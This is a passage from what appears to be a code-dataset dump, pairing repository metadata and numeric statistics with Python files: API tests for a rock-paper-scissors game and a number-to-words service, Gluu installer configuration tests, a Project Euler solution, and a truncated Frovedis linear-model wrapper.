| 6.431008
| 0.145736
| 0.075217
| 0.091128
| 0.069431
| 0.867406
| 0.867406
| 0.852941
| 0.852941
| 0.832449
| 0.752652
| 0
| 0.021435
| 0.287895
| 6,617
| 153
| 84
| 43.248366
| 0.858871
| 0.084328
| 0
| 0.814516
| 0
| 0
| 0.170858
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.048387
| false
| 0
| 0.040323
| 0
| 0.282258
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
540376b6c4d065893aec679e76b607a9e96cae7b
| 5,115
|
py
|
Python
|
rps/api_test.py
|
Maddemacher/rps-py
|
c8ae4edbefde43bb6a81c507812eb88d31488cb2
|
[
"MIT"
] | null | null | null |
rps/api_test.py
|
Maddemacher/rps-py
|
c8ae4edbefde43bb6a81c507812eb88d31488cb2
|
[
"MIT"
] | null | null | null |
rps/api_test.py
|
Maddemacher/rps-py
|
c8ae4edbefde43bb6a81c507812eb88d31488cb2
|
[
"MIT"
] | null | null | null |
import json
def _get_game(client, game_id, expected_status=200):
response = client.get(f'/api/game/{game_id}')
assert response.status_code == expected_status
if (expected_status == 200):
return json.loads(response.get_data(as_text=True))
return None
def _create_game(client, name='emil', expected_status=201):
response = client.post(
'/api/game',
data=json.dumps({'name': name}),
content_type='application/json'
)
assert response.status_code == expected_status
if expected_status == 201:
return response.get_data(as_text=True)
return None
def _join_player(client, game_id, name='lasse', expected_status=200):
response = client.put(
f'/api/game/{game_id}/join',
data=json.dumps({'name': name}),
content_type='application/json'
)
assert response.status_code == expected_status
def _make_move(client, game_id, name, move, expected_status=200):
response = client.put(
f'/api/game/{game_id}/move',
data=json.dumps({
'name': name,
'move': move,
}),
content_type='application/json'
)
assert response.status_code == expected_status
def test_get_unknown_game(client):
_get_game(client, "asd", 404)
def test_create_new_game(client):
game_id = _create_game(client)
game = _get_game(client, game_id)
assert len(game['players']) == 1
assert game['players'][0]['name'] == "emil"
return game_id
def test_create_new_game_without_name(client):
game_id = _create_game(client, "", 400)
game_id = _create_game(client, None, 400)
def test_join_second_player(client):
game_id = _create_game(client)
_join_player(client, game_id)
game = _get_game(client, game_id)
assert len(game['players']) == 2
assert game['players'][1]['name'] == "lasse"
def test_cant_join_third_player(client):
game_id = _create_game(client)
_join_player(client, game_id)
_join_player(client, game_id, "hej", 412)
game = _get_game(client, game_id)
assert len(game['players']) == 2
assert game['players'][1]['name'] == "lasse"
def test_join_player_with_same_name(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "emil", 409)
game = _get_game(client, game_id)
assert len(game['players']) == 1
def test_make_moves(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "rock")
_make_move(client, game_id, "lasse", "rock")
game = _get_game(client, game_id)
def test_make_unknown_move(client):
game_id = _create_game(client, "emil")
_make_move(client, game_id, "emil", "asd", 400)
def test_make_empty_move(client):
game_id = _create_game(client, "emil")
_make_move(client, game_id, "emil", "", 400)
def test_make_none_move(client):
game_id = _create_game(client, "emil")
_make_move(client, game_id, "emil", None, 400)
def test_does_not_show_moves_until_done(client):
game_id = _create_game(client, "emil")
_make_move(client, game_id, "emil", "rock")
game = _get_game(client, game_id)
assert game['players'][0]['name'] == 'emil'
assert not 'move' in game['players'][0]
def test_player_one_wins(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "paper")
_make_move(client, game_id, "lasse", "rock")
game = _get_game(client, game_id)
assert game['result'] == 'emil wins'
def test_player_two_wins(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "paper")
_make_move(client, game_id, "lasse", "scissors")
game = _get_game(client, game_id)
assert game['result'] == 'lasse wins'
def test_tie(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "paper")
_make_move(client, game_id, "lasse", "paper")
game = _get_game(client, game_id)
assert game['result'] == 'tie'
def test_rock_beats_scissors(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "rock")
_make_move(client, game_id, "lasse", "scissors")
game = _get_game(client, game_id)
assert game['result'] == 'emil wins'
def test_scissors_beat_paper(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "scissors")
_make_move(client, game_id, "lasse", "paper")
game = _get_game(client, game_id)
assert game['result'] == 'emil wins'
def test_paper_beats_rock(client):
game_id = _create_game(client, "emil")
_join_player(client, game_id, "lasse")
_make_move(client, game_id, "emil", "paper")
_make_move(client, game_id, "lasse", "rock")
game = _get_game(client, game_id)
assert game['result'] == 'emil wins'
| 24.241706
| 69
| 0.667644
| 715
| 5,115
| 4.401399
| 0.106294
| 0.123928
| 0.228789
| 0.111853
| 0.833174
| 0.766126
| 0.743883
| 0.732444
| 0.732444
| 0.674293
| 0
| 0.012322
| 0.190811
| 5,115
| 210
| 70
| 24.357143
| 0.748007
| 0
| 0
| 0.579365
| 0
| 0
| 0.114978
| 0.009386
| 0
| 0
| 0
| 0
| 0.150794
| 1
| 0.166667
| false
| 0
| 0.007937
| 0
| 0.214286
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
58843d3874e13b05d5404b8490aefdd87003ae23
| 67
|
py
|
Python
|
src/dizest/core/__init__.py
|
season-framework/dizest
|
2b36300e84dccb437535d76b294b2053e5ac00e6
|
[
"MIT"
] | 2
|
2022-01-18T02:38:19.000Z
|
2022-01-18T04:26:03.000Z
|
src/dizest/core/__init__.py
|
season-framework/dizest
|
2b36300e84dccb437535d76b294b2053e5ac00e6
|
[
"MIT"
] | null | null | null |
src/dizest/core/__init__.py
|
season-framework/dizest
|
2b36300e84dccb437535d76b294b2053e5ac00e6
|
[
"MIT"
] | null | null | null |
from dizest.core import kernel
from dizest.core.obj import Workflow
| 33.5
| 36
| 0.850746
| 11
| 67
| 5.181818
| 0.636364
| 0.350877
| 0.491228
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104478
| 67
| 2
| 36
| 33.5
| 0.95
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5469fd5a8a852e535065ab906c600f59f93ab46b
| 5,171
|
py
|
Python
|
api/test_n2w-api.py
|
lucab85/n2w
|
2113e02768c2e67c9caf9547e133662b9ee26885
|
[
"Apache-2.0"
] | null | null | null |
api/test_n2w-api.py
|
lucab85/n2w
|
2113e02768c2e67c9caf9547e133662b9ee26885
|
[
"Apache-2.0"
] | null | null | null |
api/test_n2w-api.py
|
lucab85/n2w
|
2113e02768c2e67c9caf9547e133662b9ee26885
|
[
"Apache-2.0"
] | null | null | null |
# test_n2w-api.py
import unittest
import os
import json
from app import create_app
class n2wapiTestCase(unittest.TestCase):
"""This class represents the n2w-api Test Case"""
def setUp(self):
self.app = create_app(config_name="testing")
self.client = self.app.test_client
self.app.app_context()
def test_n2wapi_get_en(self):
number = 11
text = "eleven"
lang = "en"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertEqual(number, result_in_json['number'])
self.assertEqual(text, result_in_json['text'])
self.assertEqual(lang, result_in_json['lang'])
number = 121
text = "one hundred and twenty-one"
lang = "en"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertEqual(number, result_in_json['number'])
self.assertEqual(text, result_in_json['text'])
self.assertEqual(lang, result_in_json['lang'])
number = 11.01
text = "eleven point zero one"
lang = "en"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertEqual(number, result_in_json['number'])
self.assertEqual(text, result_in_json['text'])
self.assertEqual(lang, result_in_json['lang'])
def test_n2wapi_get_it(self):
number = 11
text = "undici"
lang = "it"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertEqual(number, result_in_json['number'])
self.assertEqual(text, result_in_json['text'])
self.assertEqual(lang, result_in_json['lang'])
number = 121
text = "centoventiuno"
lang = "it"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertEqual(number, result_in_json['number'])
self.assertEqual(text, result_in_json['text'])
self.assertEqual(lang, result_in_json['lang'])
number = 11.01
text = "undici virgola zero uno"
lang = "it"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertEqual(number, result_in_json['number'])
self.assertEqual(text, result_in_json['text'])
self.assertEqual(lang, result_in_json['lang'])
def test_n2wapi_langs(self):
url = '/n2w/api/v1.0/langs'
rv = self.client().get(url)
self.assertEqual(rv.status_code, 200)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
result_in_json = json.loads(rv.data.decode('utf-8'))
self.assertIsInstance(result_in_json['langs'], list)
def test_n2wapi_get_400(self):
number = 11
lang = "XX"
url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang
rv = self.client().get(url)
self.assertEqual(rv.status_code, 400)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
def test_n2wapi_get_404(self):
url = '/n2w/'
rv = self.client().get(url)
self.assertEqual(rv.status_code, 404)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
url = '/n2w/api/'
rv = self.client().get(url)
self.assertEqual(rv.status_code, 404)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
url = '/n2w/api/v1.0/'
rv = self.client().get(url)
self.assertEqual(rv.status_code, 404)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
url = '/n2w/api/v1.0/get/'
rv = self.client().get(url)
self.assertEqual(rv.status_code, 404)
self.assertEqual(rv.content_type, "application/json")
self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*')
def tearDown(self):
"""teardown all initialized variables."""
# Make the tests conveniently executable
if __name__ == "__main__":
unittest.main()
| 36.673759
| 66
| 0.702765
| 745
| 5,171
| 4.738255
| 0.116779
| 0.229462
| 0.173371
| 0.050992
| 0.836827
| 0.833428
| 0.832578
| 0.832578
| 0.832578
| 0.832578
| 0
| 0.02394
| 0.119513
| 5,171
| 140
| 67
| 36.935714
| 0.751373
| 0.026107
| 0
| 0.747967
| 0
| 0
| 0.193869
| 0.06449
| 0
| 0
| 0
| 0
| 0.447154
| 1
| 0.056911
| false
| 0
| 0.03252
| 0
| 0.097561
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
49ac47ece4f0270516ad3ccb8c220aeb7369bc80
| 7,871
|
py
|
Python
|
tests/terminal/test_configuration.py
|
danilosoarescardoso/cloud-native-edition
|
b8aa66119dc4440b1ca3741a4065c9ae7feb42fb
|
[
"Apache-2.0"
] | 1
|
2021-04-04T04:25:49.000Z
|
2021-04-04T04:25:49.000Z
|
tests/terminal/test_configuration.py
|
danilosoarescardoso/cloud-native-edition
|
b8aa66119dc4440b1ca3741a4065c9ae7feb42fb
|
[
"Apache-2.0"
] | null | null | null |
tests/terminal/test_configuration.py
|
danilosoarescardoso/cloud-native-edition
|
b8aa66119dc4440b1ca3741a4065c9ae7feb42fb
|
[
"Apache-2.0"
] | null | null | null |
import pytest
@pytest.mark.parametrize("given, expected", [
("", "US"), # default
("random", "random"),
])
def test_config_country(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.countryCode") == expected
@pytest.mark.parametrize("given, expected", [
("", "TX"), # default
("random", "random"),
])
def test_config_state(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.state") == expected
@pytest.mark.parametrize("given, expected", [
("", "Austin"), # default
("random", "random"),
])
def test_config_city(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.city") == expected
@pytest.mark.parametrize("given, expected", [
("", "support@gluu.org"), # default
("random", "random"),
])
def test_config_email(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "")
settings.set("config.orgName", "Gluu")
settings.set("config.config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.email") == expected
@pytest.mark.parametrize("given, expected", [
("", "Gluu"), # default
("random", "random"),
])
def test_config_org(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "")
settings.set("config.config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.orgName") == expected
@pytest.mark.parametrize("given, expected", [
("", "demoexample.gluu.org"), # default
])
def test_config_hostname(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("global.fqdn") == expected
@pytest.mark.parametrize("given, expected", [
("", "demoexample.gluu.org"), # default
])
def test_config_hostname_2(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "")
settings.set("config.migration.enabled", False)
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("global.fqdn") == expected
@pytest.mark.parametrize("given, expected", [
("", "./ce-migration"),
("migration", "migration")
])
def test_config_migration_dir(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", True)
settings.set("config.migration.migrationDir", "")
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.migration.migrationDir") == expected
@pytest.mark.parametrize("given, expected", [
("", "ldif"),
("ldif", "ldif"),
("couchbase+json", "couchbase+json"),
("spanner+avro", "spanner+avro"),
("postgresql+json", "postgresql+json"),
("mysql+json", "mysql+json")
])
def test_config_migration_dir(monkeypatch, settings, given, expected):
from pygluu.kubernetes.terminal.configuration import PromptConfiguration
monkeypatch.setattr("click.prompt", lambda x, default: given or expected)
settings.set("config.countryCode", "US")
settings.set("config.state", "TX")
settings.set("config.city", "Austin")
settings.set("config.email", "support@gluu.org")
settings.set("config.orgName", "Gluu")
settings.set("config.adminPassword", "Admin GUI")
settings.set("global.fqdn", "demoexample.gluu.org")
settings.set("config.migration.enabled", True)
settings.set("config.migration.migrationDir", "./ce-migration")
settings.set("config.migration.migrationDataFormat", "")
prompt = PromptConfiguration(settings)
prompt.prompt_config()
assert settings.get("config.migration.migrationDataFormat") == expected
| 35.295964
| 77
| 0.699403
| 861
| 7,871
| 6.358885
| 0.073171
| 0.150685
| 0.204932
| 0.049315
| 0.940274
| 0.934064
| 0.866484
| 0.866484
| 0.866484
| 0.866484
| 0
| 0.000147
| 0.138229
| 7,871
| 223
| 78
| 35.295964
| 0.807018
| 0.006988
| 0
| 0.785714
| 0
| 0
| 0.304136
| 0.065309
| 0
| 0
| 0
| 0
| 0.053571
| 1
| 0.053571
| false
| 0.053571
| 0.059524
| 0
| 0.113095
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
49aefc340363da687d7f2e1743089a518751011c
| 3,062
|
py
|
Python
|
python/p008.py
|
livioribeiro/project-euler
|
71f915b1ddad90c3a5b805cad7047cd6e4ce64ed
|
[
"MIT"
] | 2
|
2015-12-16T18:39:23.000Z
|
2015-12-19T03:49:07.000Z
|
python/p008.py
|
livioribeiro/project-euler
|
71f915b1ddad90c3a5b805cad7047cd6e4ce64ed
|
[
"MIT"
] | null | null | null |
python/p008.py
|
livioribeiro/project-euler
|
71f915b1ddad90c3a5b805cad7047cd6e4ce64ed
|
[
"MIT"
] | null | null | null |
"""
The four adjacent digits in the 1000-digit number that have the greatest product are 9 × 9 × 8 × 9 = 5832.
73167176531330624919225119674426574742355349194934
96983520312774506326239578318016984801869478851843
85861560789112949495459501737958331952853208805511
12540698747158523863050715693290963295227443043557
66896648950445244523161731856403098711121722383113
62229893423380308135336276614282806444486645238749
30358907296290491560440772390713810515859307960866
70172427121883998797908792274921901699720888093776
65727333001053367881220235421809751254540594752243
52584907711670556013604839586446706324415722155397
53697817977846174064955149290862569321978468622482
83972241375657056057490261407972968652414535100474
82166370484403199890008895243450658541227588666881
16427171479924442928230863465674813919123162824586
17866458359124566529476545682848912883142607690042
24219022671055626321111109370544217506941658960408
07198403850962455444362981230987879927244284909188
84580156166097919133875499200524063689912560717606
05886116467109405077541002256983155200055935729725
71636269561882670428252483600823257530420752963450
Find the thirteen adjacent digits in the 1000-digit number that have the greatest product. What
is the value of this product?
"""
from functools import reduce
import operator
CHAR_NUM_DIFF = 48;
ADJACENT_DIGITS = 13;
THOUSAND_DIGIT_NUMBER = b"""\
73167176531330624919225119674426574742355349194934\
96983520312774506326239578318016984801869478851843\
85861560789112949495459501737958331952853208805511\
12540698747158523863050715693290963295227443043557\
66896648950445244523161731856403098711121722383113\
62229893423380308135336276614282806444486645238749\
30358907296290491560440772390713810515859307960866\
70172427121883998797908792274921901699720888093776\
65727333001053367881220235421809751254540594752243\
52584907711670556013604839586446706324415722155397\
53697817977846174064955149290862569321978468622482\
83972241375657056057490261407972968652414535100474\
82166370484403199890008895243450658541227588666881\
16427171479924442928230863465674813919123162824586\
17866458359124566529476545682848912883142607690042\
24219022671055626321111109370544217506941658960408\
07198403850962455444362981230987879927244284909188\
84580156166097919133875499200524063689912560717606\
05886116467109405077541002256983155200055935729725\
71636269561882670428252483600823257530420752963450\
"""
if __name__ == '__main__':
tdn = list((int(i) - CHAR_NUM_DIFF for i in THOUSAND_DIGIT_NUMBER))
greatest_product = 0
greatest_digits = []
i = 0
while i < len(tdn) - ADJACENT_DIGITS:
digits = tdn[i:i + ADJACENT_DIGITS]
# skip to the next window that does not contain zero
if 0 in digits:
i += digits.index(0) + 1
continue
product = reduce(operator.mul, digits)
if product > greatest_product:
greatest_product = product
greatest_digits = digits
i += 1
print("{} = {}".format(greatest_product, greatest_digits))
| 37.802469
| 106
| 0.864141
| 180
| 3,062
| 14.572222
| 0.45
| 0.034312
| 0.0122
| 0.014487
| 0.808235
| 0.808235
| 0.808235
| 0.808235
| 0.808235
| 0.808235
| 0
| 0.735924
| 0.100914
| 3,062
| 80
| 107
| 38.275
| 0.215765
| 0.426519
| 0
| 0
| 0
| 0
| 0.604691
| 0.583524
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.047619
| 0
| 0.047619
| 0.02381
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
49bf828bb3d40c70b7117042ab346ea94ad77ec2
| 12,347
|
py
|
Python
|
src/foreign_if/python/main/python/frovedis/mllib/linear_model.py
|
wmeddie/frovedis
|
c134e5e64114799cc7c265c72525ff98d06b49c1
|
[
"BSD-2-Clause"
] | null | null | null |
src/foreign_if/python/main/python/frovedis/mllib/linear_model.py
|
wmeddie/frovedis
|
c134e5e64114799cc7c265c72525ff98d06b49c1
|
[
"BSD-2-Clause"
] | null | null | null |
src/foreign_if/python/main/python/frovedis/mllib/linear_model.py
|
wmeddie/frovedis
|
c134e5e64114799cc7c265c72525ff98d06b49c1
|
[
"BSD-2-Clause"
] | null | null | null |
#!/usr/bin/env python
from .model_util import *
from ..exrpc.rpclib import *
from ..exrpc.server import *
from ..matrix.ml_data import FrovedisLabeledPoint
from ..matrix.dtype import TypeUtil
class LogisticRegression:
"A python wrapper of Frovedis Logistic Regression"
# defaults are as per Frovedis
# C (alpha): Frovedis: 0.01, Sklearn: 1.0
# max_iter: Frovedis: 1000, Sklearn: 100
# solver: Frovedis: sag (SGD), Sklearn: liblinear
def __init__(cls, penalty='l2', dual=False, tol=1e-4, C=0.01,
fit_intercept=True, intercept_scaling=1, class_weight=None,
random_state=None, solver='sag', max_iter=1000,
multi_class='ovr', verbose=0, warm_start=False, n_jobs=1):
cls.penalty = penalty
cls.dual = dual
cls.tol = tol
cls.C = C
cls.fit_intercept = fit_intercept
cls.intercept_scaling = intercept_scaling
cls.class_weight = class_weight
cls.random_state = random_state
cls.solver = solver
cls.max_iter = max_iter
cls.multi_class = multi_class
cls.verbose = verbose
cls.warm_start = warm_start
cls.n_jobs = n_jobs
# extra
cls.__mid = None
cls.__mdtype = None
cls.__mkind = M_KIND.LRM
def fit(cls, X, y, sample_weight=None):
cls.release()
cls.__mid = ModelID.get()
inp_data = FrovedisLabeledPoint(X,y)
(X, y) = inp_data.get()
dtype = inp_data.get_dtype()
itype = inp_data.get_itype()
dense = inp_data.is_dense()
cls.__mdtype = dtype
regTyp = 0
if cls.penalty == 'l1': regTyp = 1
elif cls.penalty == 'l2': reTyp = 2
else: raise ValueError("Invalid penalty is provided: ", cls.penalty)
if cls.multi_class == 'ovr': pass
elif cls.multi_class == 'multinomial':
raise ValueError("Frovedis doesn't support multinomial Logistic Regression currently.")
else: raise ValueError("Invalid multi_class input is provided: ", cls.multi_class)
(host,port) = FrovedisServer.getServerInstance()
sv = ['newton-cg', 'liblinear']
if cls.solver in sv:
raise ValueError("Frovedis doesn't support solver %s for Logistic Regression currently." % cls.solver)
if cls.solver == 'sag':
rpclib.lr_sgd(host,port,X.get(),y.get(),cls.max_iter,cls.C,
regTyp,cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,dtype,itype,dense)
elif cls.solver == 'lbfgs':
rpclib.lr_lbfgs(host,port,X.get(),y.get(),cls.max_iter,cls.C,
regTyp,cls.fit_intercept,cls.tol,cls.verbose,cls.__mid,dtype,itype,dense)
else: raise ValueError("Unknown solver %s for Logistic Regression." % cls.solver)
excpt = rpclib.check_server_exception()
if excpt["status"]: raise RuntimeError(excpt["info"])
return cls
def predict(cls,X):
if cls.__mid is not None:
return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False)
else:
raise ValueError("predict is called before calling fit, or the model is released.")
def predict_proba(cls,X):
if cls.__mid is not None:
return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,True)
else:
raise ValueError("predict is called before calling fit, or the model is released.")
def load(cls,fname,dtype=None):
cls.release()
cls.__mid = ModelID.get()
if dtype is None:
if cls.__mdtype is None:
raise TypeError("model type should be specified for loading from file!")
else: cls.__mdtype = TypeUtil.to_id_dtype(dtype)
GLM.load(cls.__mid,cls.__mkind,cls.__mdtype,fname)
return cls
def save(cls,fname):
if cls.__mid is not None: GLM.save(cls.__mid,cls.__mkind,cls.__mdtype,fname)
def debug_print(cls):
if cls.__mid is not None: GLM.debug_print(cls.__mid,cls.__mkind,cls.__mdtype)
def release(cls):
if cls.__mid is not None:
GLM.release(cls.__mid,cls.__mkind,cls.__mdtype)
cls.__mid = None
def __del__(cls):
if FrovedisServer.isUP(): cls.release()
class LinearRegression:
"A python wrapper of Frovedis Linear Regression"
def __init__(cls, fit_intercept=True, normalize=False, copy_X=True,
n_jobs=1, solver='sag', verbose=0):
cls.fit_intercept = fit_intercept
cls.normalize = normalize
cls.copy_X = copy_X
cls.n_jobs = n_jobs
# extra
cls.solver = solver
cls.verbose = verbose
cls.__mid = None
cls.__mdtype = None
cls.__mkind = M_KIND.LNRM
def fit(cls, X, y, sample_weight=None):
cls.release()
cls.__mid = ModelID.get()
inp_data = FrovedisLabeledPoint(X,y)
(X, y) = inp_data.get()
dtype = inp_data.get_dtype()
itype = inp_data.get_itype()
dense = inp_data.is_dense()
cls.__mdtype = dtype
(host,port) = FrovedisServer.getServerInstance()
if cls.solver == 'sag':
rpclib.lnr_sgd(host,port,X.get(),y.get(),cls.fit_intercept,
cls.verbose,cls.__mid,dtype,itype,dense)
elif cls.solver == 'lbfgs':
rpclib.lnr_lbfgs(host,port,X.get(),y.get(),cls.fit_intercept,
cls.verbose,cls.__mid,dtype,itype,dense)
else: raise ValueError("Unknown solver %s for Linear Regression." % cls.solver)
excpt = rpclib.check_server_exception()
if excpt["status"]: raise RuntimeError(excpt["info"])
return cls
def predict(cls,X):
if cls.__mid is not None:
return GLM.predict(X,cls.__mid,cls.__mkind,cls.__mdtype,False)
else:
raise ValueError("predict is called before calling fit, or the model is released.")
def load(cls,fname,dtype=None):
cls.release()
